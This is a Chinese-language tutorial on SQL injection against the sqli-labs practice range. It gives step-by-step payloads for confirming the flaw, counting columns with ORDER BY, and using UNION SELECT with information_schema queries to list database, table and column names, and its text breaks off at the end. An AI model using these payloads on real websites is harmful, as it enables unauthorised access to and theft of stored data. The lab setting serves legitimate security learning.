Sql注入本质是把用户输入都数据当做代码来执行,最终达到欺骗服务器执行恶意的SQL命令。
标题Sql注入的流程:
1、寻找注入点
常见的注入点:网站的用户登录界面,搜索框等
2、判断闭合方式(以sqli-labs靶场的第一、二关为例)
第一关:
可以发现:第一关输入id=1和输入id=1sdgfgkdg显示的内容相同且不报错。
所以:第一关属于字符型,需要判断闭合方式。
判断方法:观察报错信息,去掉两边的分号和输入内容,右边的内容就是其闭合的方式。
通过观察图中报错信息可以知道闭合方式为’
即单引号闭合
第二关:
可以发现第二关报错
所以,第二关属于数字型,不需要判断闭合方式。
3、验证漏洞
?id = 1 and 1 –+ 正常显示
?id = 1 and 0 –+ 无显示
可以通过sql命令来控制页面显示。
4、判断列数及回显位
列数:
?id = 1 order by 3 –+
若3正常显示且4报错,则证明列数为3
回显位:
?id=-1 union select 1,2,3 –+
可以看到回显位为2、3
5、取数据
A、查数据库名
在2或3的位置加上database(),得到数据库名为:security
B、查表名
在2或3的位置加上 (select group_concat(table_name) from information_schema.tables where table_schema=database()) 查看数据库下所有的表名。
C、查列名
在2的位置加上 (select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=’emails’) 查看emails表下所有的列。
注意中英文单引号引发的报错: